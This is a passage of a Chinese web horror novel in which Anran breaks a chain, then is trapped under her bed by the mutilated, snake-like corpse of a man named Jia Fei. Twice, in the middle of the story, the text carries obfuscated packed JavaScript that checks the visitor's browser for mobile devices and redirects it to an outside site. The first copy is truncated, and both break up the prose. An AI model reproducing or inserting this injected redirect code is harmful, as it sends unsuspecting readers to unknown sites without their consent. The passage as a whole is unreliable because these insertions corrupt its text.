她试着用指尖触碰其他的锁链,尽管一触既分,但冰冷的触感还是让安然忍不住头皮发麻,右手五根手指几乎被冻的没啥知觉了。但就这么放弃,又实在有些不甘心,都到这一步了,总要挨个再试一遍的。 安然长吁了一口气,狠狠甩了甩右手。突然姜慧的脸在其中一条锁链上一闪而过。 她下意识去抓,等到反应过来才惊觉手里这根锁链竟然是温的。 找到了! 但这份喜悦还没维持两秒,掌心的温度就在以几何的倍数往上增长。 安然牙关咬的咯吱作响,手掌已经成了不详的焦褐色,指节蜷缩,扭曲变形,像是干枯扭曲的树枝。几乎同一时间,焦褐色开始向手腕、手臂、手肘、胳膊、躯干、双腿...蔓延。 撑过一段时间后,疼痛反倒没有之前那般强烈。至少上次那种穿透骨髓的疼痛,安然这一次并没有感受到。 她咬着牙,憋着气,脑子里只有一个念头,就是将手里的东西从树身上拽下来。 安然大喊一声,憋着的那口气像是终于找到了发泄的出口。她感觉自己的身体开始往后移动,手里的锁链也被拽着移开了树身。 一道清脆的咔嚓声宛如天籁清晰地传进了她的耳朵里。 成了! 心头一喜,如同提前奏起的胜利号角,手上越发用力。随着一连串的咔嚓声,安然只觉得手上一轻,整个人便卸了力般彻底跪在了地上,她强撑着身体,偏过头,视线一个劲儿地往树的方向偏,但除了模糊的一团什么都看不清。 意识彻底消失前,她暗暗告诉自己,下一次,下一次一定要撑到最后... 同一时间。 安家地下室内也响起了一声清脆的锁链断裂声,还有极小的一声‘咔哒’。 ******* 窗外的光线暗淡,暗灰色调的天空透过半掩的窗帘映进安然朦胧的视线。她揉了揉眼睛,脑袋有些沉,睁开眼睛时竟有种不知今夕何夕的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那自己呢? 一个漫不经心的念头蓦地浮了上来:总不会要杀自己灭口吧? 安然自嘲地一勾唇角,刚想嘲笑自己杞人忧天,今早还说现在是法制社会呢! 但翻开盒子的手猛地一顿,好像也不是不可能...虽说餍虫是旧时代的产物,但老头子的说富不过三代不是没有依据的,从餍虫就能看出来,秦家是颇有些手段的大家族,否则也不可能有本事延续到现在。 而自己显然知道了秦家的秘密,至于这个秘密大不大有多大,安然无法估量,光是看他们处理的速度,就能猜出来,这秘密绝对不小。 也难怪她哥后来的脸色那么难看。 安然也同样清楚,哪怕自己指天发誓说自己绝对不会将秘密泄露出去,他们也不会相信。 至于催眠... 不可能百分百有效,大脑是人体最难以控制的区域。催眠的效果也不可能是永久的,某个声音、画面甚至一个简单的动作,都有可能摆脱催眠,重新记起来。 那么最好的,最一劳永逸的法子就是...她死。 沙沙… 沙沙… 沙沙… 安然手里的盒子‘咚’一声掉回了抽屉,下意识看向声音传来的方向。那动静是从门口的方向传进来的,像是纸张相互摩擦发出的声音。 她哥回来了? “哥?” 没有人回应。 房间的光线比起之前暗了许多。安然下意识看向窗边,透明的玻璃被染上了如墨的黑,没有月亮,甚至连星星都没有。 54.第 54 章 “哥?” 这回她的声音大了一点。 但回应的她还是只有:沙沙… “沙沙…” “沙沙…” 在楼下么? 她刚准备下楼去看看,就听“嘎吱”一声轻响。 安然的心猛地提到了嗓子眼儿。 这个声音了,她太熟悉了… 沙沙声一步一步拖上了木质的楼梯。 “嘎吱…” “嘎吱…” 每上一个台阶都像是踩在了她的呼吸上,轧的她耳膜生疼。 嘎吱声戛然而止。 安然知道。 那东西,上来了… 黑暗如有实质。任凭安然睁大了眼睛,也只能看到无尽的黑。 门外的声音蓦地消失了,就像它刚刚从未出现过。 但她心里清楚,那声音不是错觉。 眼睛似乎是适应了一点黑暗,目光所及不再是污墨一般的黑,而是条条杠杠分出了深浅。 她侧头看向应该是窗户的位置,那边墙上有电灯的开关。 堆叠的窗帘垂挂下来,混杂的黑色折成了不同形状。 安然曾听人说,人在恐惧到极限的时候脑子里是一片空白的。 但她似乎恰好相反。 越是感到恐惧,她的脑子就越发的不受控制。那些乱七八糟的念头如同笼中逃脱的鸟儿,扑闪着翅膀在她脑子里横冲直撞: 锁过门了么? 锁了...还是只顺手关了一下? 刚刚那声音是老鼠的可能也挺大的…老鼠不就是那样窸窸窣窣的么? 所以走楼梯的声音才会那么轻… 轻的和纸一样… 对了,老头子这次出门之前做纸人了么? 说起来,他好像只有在她没在家的时候才做… 是因为她小时候给哪个纸人点过眼睛么? 她好像还给那些纸人点过眼睛的... 还有那沙沙声... 她是不是以前也听过来着? 艳绿的衣服,猩红的嘴,雪白的五官,空洞的眼睛,不会弯曲的四肢,走路的时候,摩擦纸片发出的沙沙、沙沙… 那好像是梦来着... 老爷子和哥哥都说是梦。 老爷子不靠谱,但哥哥不会骗她。 也是。 纸人怎么可能会动。 对。 老爷子说过疑心生暗鬼...人之所以会恐惧就是源自于未知。 不管门外的东西是什么,自己把门锁上总是没错的。 真要是她哥到时候再开不就行了? 安然不给自己反悔的余地,微凉的窗帘蹭过她手腕的时候带起微微的痒。 “吱嘎——” 地板如同不堪重负的老骡子发出尖锐破碎的声响。 她几步窜到门口,漆黑的走廊和灰白的房间泾渭分明的像是两个完全不同的世界。 安然停顿了几秒才突然反应过来,自己之所以能看到黑乎乎的门外——是因为一枚硕大的月亮不知道什么时候竟占据了整排窗面,莹莹的月光透过窗棂洒在老旧的木制地板上,木板在月光映衬下深深浅浅,但大多数都已经褪了色,拼接的地方不算光滑,有些微的鼓胀变形,边缘有还隐约翘了点木刺。 月亮...什么时候出来的? 这么近的距离...正常么? 还有这扇门,她明明记得自己顺手将门拉上了的。 但这会儿,门开了。 这意味着什么,再清楚不过。 再怎么错综复杂精妙绝伦拥有着树状结构的大脑,也不可能结出一颗违背个人自愿和社会常识的果实。 就像她此刻无法说服自己相信一只老鼠会开门还会撬锁一样。 沙沙… 呼叫声戛然而止。 这回,她听清了。 不是老鼠逃窜的窸窸窣窣,也不是纸张间的相互摩擦,而是有东西正紧贴着地板朝着房间的方向“游”了过来! 沙沙… 安然往后退了一步。 沙沙… 黑暗里窜出了一道不一样的光线,明暗的黑折射出怪异的形状,印在安然隐约泛点猩红的左边的瞳孔上。 她屏住呼吸,双眼紧盯着门外的那团黑。 猝不及防地—— 一颗硕大的脑袋就那样兀自钻了进来! 安然被眼前的东西惊地愣在了原地。 一时间没反应过来自己看到的是个什么玩意儿。 那东西长着人的脑袋,头皮上贴着一层短短的青茬。 赤.裸的上半身没有胳膊,只隐约能看到一点手臂的轮廓。一道道青紫的淤痕印在裸露的皮肤上,看上去像是种奇异的花纹。 他的下半身同样赤.裸,两条腿并拢在一起。与其说是并拢,倒不如说是完全嵌在了在一起。 脚上没有鞋子,黑乎乎的脚心朝上,脚尖交叠重合,皮肤皲裂,露出了里面锈红色的血肉。 他的脸贴在了地上。 不止脸,身体和四肢也紧紧贴住地面,在地板上灵活扭动,发出沙沙、沙沙的声响。 与其说是人,不如说更像是一条蛇。 一条人形的花斑蛇。 眼看着那东西一个滑动就要滑到安然的脚边。安然“妈呀”一声,连人带被子直接扑到了床边,双脚一抬,滚到了床上。 那东西扑了个空,昂起的半截身子向后一折,柔软的像是没有骨头。 这张脸... 安然瞳孔骤然一缩,是早上来找茬的那对夫妻里的男人! 她想起那个保证书上的签名,好像是叫贾飞来着。 贾飞脸上的皮肤泛着不正常的青灰,脸颊更是肿的像是发面发过了的馒头,尤其那双倒三角眼眯成了一条狭小的缝儿,冷不丁那么一对上,还真跟蛇长得挺像。 安然有点回不过神:是梦吧?要不然怎么会看到贾飞出现在她的房间? 她使劲揉了揉眼睛,视线由模糊变得清晰:贾飞已如离弦之箭般朝着安然扑了过来。 艹!!! 安然就势一滚,余光却瞥见贾飞并没有扑向床边,反倒是速度极快地往她即将倒下的地方奔了过来。 她心中顿时警铃大作,暗叫一声不好,翻身下床的同时脚尖点地猛地一撑,借着惯性又重新回到了床上。 贾飞的身形猛的一滞,微微弓起身子,眼神阴翳地盯着安然。 安然捂着砰砰乱跳的心脏,看着围在床边绕来绕去的男人,脑子里一片空白。 这时怎么回事? 贾飞怎么会在这儿? 他不是...在警局么...那个接待他们的警员明明说过,这夫妻俩一时出不来的... 等等... 蓦地,安然眸光一动,视线落在贾飞并合的双腿上,一下子愣住了。 那是什么? 是...线么? 莹润的月光打在了贾飞身上,两腿间的透明的鱼线时隐时现,脚尖交叠重合,同样用鱼线固定在了一起。 被砍断的双臂和缝在一起的脚... 贾飞是...死了吧... 他这个样子怎么看都不像还活着。 死在警局了?可能么?他为什么会来找自己?难不成是自己那该死的招鬼体制又‘显灵’了? 时间在无声的对峙中,显得格外漫长。 安然盯着床下的贾飞,也许是10分钟,也许是20分钟,也许可能已经过去了好几个小时。 不知道为什么,她突然产生了一种也许自己要永远被困在这里了的错觉。 中途安然也曾试着和贾飞交流找出破局的关键来着,可贾飞的嘴巴就像是被502粘住了一样,任凭她说的口干舌燥,人家压根不搭理她,只自顾自在地上游走。 虽然暂时看来没什么危险,但她总不能一辈子待在床上不下来吧?! 更何况她的直觉告诉她,贾飞的目标就是自己。 因为未知,所以恐惧。 安然知道,她不能再傻等,她得离开这里。可刚想起身,鼻间却隐隐闻到了一股奇怪的气味。 有点像之前她用来消炎的芦荟胶。但比那个味道浓一点,还带着一点淡淡的苦。 安然皱着鼻子闻了一会儿,不是错觉。 这味儿哪来的? 视线在房间内逡巡。 什么都没有。 没多什么,也没少什么。 只是窗外的月亮好像更大了。月光打在深深浅浅的木质地板上,从这个角度看过去隐隐泛着层油光。 空气中那种淡淡的苦涩的味道更浓了。 安然皱着眉想要找出气味的源头,可刚一站起来,就感觉床铺一斜,像是陷进了泥里,矮了一节。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854215|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错觉么? 她站在原地不敢动弹,视线微微下移,扫到了一侧的床脚,床脚深深陷在了地板里,她的床的确矮了一节。 艹!!! 她心中一沉。 地板上铺着厚厚的一层黏液,泛着一种让人不舒服的油腻的黄,像是一块正在融化的黄油。 怪不得贾飞一直在地板上爬来爬去。 那些透明的粘液正在腐蚀房间里的地板,但凡他爬过的位置就像是融化的蜡,放在那附近的东西正在一点点的下陷。气味就是那些粘液散发出来的! “咕咚!” 安然下意识转头,地板上赫然出现了一个巨大的黑洞,边缘像是流动的泥浆一直在下陷。 有什么东西掉陷进去了。 她的床也在渐渐往下陷。 贾飞昂起身子,抬起头眯缝的眼睛里满是恶意与嘲讽,那表情像是在说:别急,马上就到你了! 安然呼吸急促,照现在这速度,她马上就得成为盘中餐了! 只能拼一把了。 安然往后退了几步,她这一走动,床陷得更快了。 她猛地一个助跑,眼睛盯着桌子的高度猛地一跳。 碰!!! 安然的腿直接撞在桌子上。 恐惧先疼痛一步闯进安然的大脑。 完了! 上当了!!! 安然来不及思考,就势一滚,直接跌落在了地板上。 地板一片黏腻,湿滑的液体沾了她满身,一股说不出的苦涩腥味直冲鼻腔。 沙沙声紧随其后。 她来不及犹豫,借着黏液的润滑和身体的惯性,侧头平躺着身体朝着印象里床所在的位置猛地一滑。 脸颊被床底的木架蹭的火辣辣的疼。 成功了! 一股淡淡的血腥味在狭小的空间里弥漫开来,那味道混杂着身上的黏液以及床下的灰尘,有种说不出的难闻。 但这些,安然眼下已经完全顾不上了——-贾飞在看她。 透过床底的空隙,阴郁又怨毒地看着她。那目光如冰锥一般,刮过安然裸露在外的皮肤,乍起的汗毛让她忍不住一阵战栗,眼泪不受控制地溢出了眼眶。 他发疯似地扭动着身体想要钻进来,可床底的缝隙对于他来说太小了,只有交叠的双脚勉强能进来一点。 疼痛和恐惧如病毒般迅速蔓延,疯狂侵蚀着她仅剩的理智。 贾飞却忽地笑了。 干瘪青紫的嘴唇从脸颊两侧裂开,上下颚一分为二,被一层薄薄的肉膜连在了一起。一根猩红濡湿的舌头摇曳着柔软灵活的身姿,从黑洞洞的口腔里钻了出来,直接窜进了床底。 腥臭的涎液顺着分叉的舌尖滴落在地上,扬起的灰尘还没来的及飘散就被恶臭的液体重新包裹了起来。 安然只能拼命地往床底的另外一侧蹭,脸颊、手掌、大腿和膝盖火辣辣的疼,但眼下她什么都顾不得了,一想到那恶心的东西即将触碰到自己,就忍不住想要问候贾飞的祖宗十八代。 来不及了,那东西近在咫尺—— 安然绝望地闭上了眼睛。 鼻间萦绕着一种肉类腐坏以及死亡的气息,安然说不清为什么会有那样的联想,但如果死亡也有气味的话,那么一定是她此刻闻到的这个味道:陈朽、苦涩、粘稠以及腐败。 但想象中的那种黏糊糊的触感并没有出现。 安然睁开了眼睛。 舌尖绷得笔直,正停留在距离她眼睛不到1厘米的位置,近的像是一眨眼,就能碰到她的睫毛。 她不敢动。 只能任由那恶心的舌头意.淫般从额头划到脸颊,最后停在了喉咙的位置。 即便隔着点距离,那种冰冷如刀锋的触感,游曳于喉间,竟让她不由生出了一种即将被割喉的恐惧。 昏暗的月光施舍般照进床底,让安然不至于被那么快就被黑暗吞噬。 贾飞的头死死抵在床底,圆棍似的身体拼命蠕动的样子有些滑稽,但安然笑不出来。对方身上粘液的作用根本就不是腐蚀,而是让人产生幻觉! 偏偏她就那么信了。 连伸脚触一下地板的想法都没有,就那么直愣愣的跳了下来。 这下好了,成了真正的瓮中捉鳖了! 时间在对峙中被无限延长。 贾飞进不来,安然也出不去。 她被困在里面了!